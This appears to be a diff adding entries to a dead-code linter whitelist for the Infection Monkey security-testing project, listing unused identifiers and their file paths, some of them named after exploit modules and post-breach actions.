+ISLAND_MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:20) +MANUAL_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:21) +MANUAL_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:22) +MANUAL_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:23) +MANUAL_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:24) +MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:25) +MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:27) +MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28) +MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29) +MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30) +MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31) +MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25) +_.password_restored # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py:11) +credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18) +password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) +SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) +SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) +ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) +MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35) +SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) +STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) +WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) +HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) +MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) +VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) +DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) +_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) +PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) +internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) +config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53) +pba_results # unused variable (monkey/monkey_island/cc/models/monkey.py:55) +launch_time # unused variable (monkey/monkey_island/cc/models/monkey.py) +command_control_channel # unused variable (monkey/monkey_island/cc/models/monkey.py:58) +meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37) +meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34) +expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36) +meta # unused variable (monkey/monkey_island/cc/models/config.py:11) +meta # unused variable (monkey/monkey_island/cc/models/creds.py:9) +meta # unused variable (monkey/monkey_island/cc/models/edge.py:5) +Config # unused class (monkey/monkey_island/cc/models/config.py:4) +Creds # unused class (monkey/monkey_island/cc/models/creds.py:4) +_.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151) +_.do_POST # unused method (monkey/infection_monkey/transport/http.py:122) +_.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) +_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) +_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) +_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) +ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) +HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) +MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) +SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15) +ClearCommandHistory # unused class (monkey/infection_monkey/post_breach/actions/clear_command_history.py:11) +AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/discover_accounts.py:8) +ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11) +Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6) +SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) +AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15) +EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) +HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) +ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) +_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) +_.representations # unused attribute (monkey/monkey_island/cc/app.py:180) +_.log_message # unused method (monkey/infection_monkey/transport/http.py:188) +_.log_message # unused method (monkey/infection_monkey/transport/http.py:109) +_.version_string # unused method (monkey/infection_monkey/transport/http.py:148) +_.version_string # unused method (monkey/infection_monkey/transport/http.py:27) +_.close_connection # unused attribute (monkey/infection_monkey/transport/http.py:57) +protocol_version # unused variable (monkey/infection_monkey/transport/http.py:24) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4) +_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345) +_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344) +_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79) +_.do_exit # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:96) +_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:108) +_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:125) +keytab # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:16) +no_pass # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:18) +ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:25) +opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466) +structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467) +structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478) +_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123) +oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96) +export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282) +NoInternetError # unused class (monkey/common/utils/exceptions.py:33) +_.__isabstractmethod__ # unused attribute (monkey/common/utils/code_utils.py:11) +MIMIKATZ # unused variable (monkey/common/utils/attack_utils.py:21) +MIMIKATZ_WINAPI # unused variable (monkey/common/utils/attack_utils.py:25) +DROPPER # unused variable (monkey/common/utils/attack_utils.py:29) +pytest_addoption # unused function (envs/os_compatibility/conftest.py:4) +pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4) +pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47) +config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10) +_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13) +_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14) +_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15) +_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17) +_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18) +_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19) +_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20) +ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8) +AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9) +DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14) +EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16) +ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17) +EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20) +KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22) +ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25) +SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31) +RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17) +dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18) +checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19) +flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20) +rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22) +remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23) +compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24) +references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25) +ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8) +ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9) +ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10) +IBM # unused variable (monkey/common/cloud/environment_names.py:11) +DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) +_.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) +build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18) +mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26: +ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) +MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) +import_status # monkey_island\cc\resources\configuration_import.py:19 +config_schema # monkey_island\cc\resources\configuration_import.py:25 +exception_stream # unused attribute (monkey_island/cc/server_setup.py:104) +ADVANCED # unused attribute (monkey/monkey_island/cc/services/mode/mode_enum.py:6:) + +# these are not needed for it to work, but may be useful extra information to understand what's going on +WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) +WINDOWS_TTL # unused variable (monkey/infection_monkey/network/ping_scanner.py:17) +wlist # unused variable (monkey/infection_monkey/transport/tcp.py:28) +wlist # unused variable (monkey/infection_monkey/transport/http.py:176) +charset # unused variable (monkey/infection_monkey/network/mysqlfinger.py:81) +salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) +thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) + + +# leaving this since there's a TODO related to it +_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) + + +# potentially unused (there may also be unit tests referencing these) +LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) +delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) +MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) +environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) +_.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64)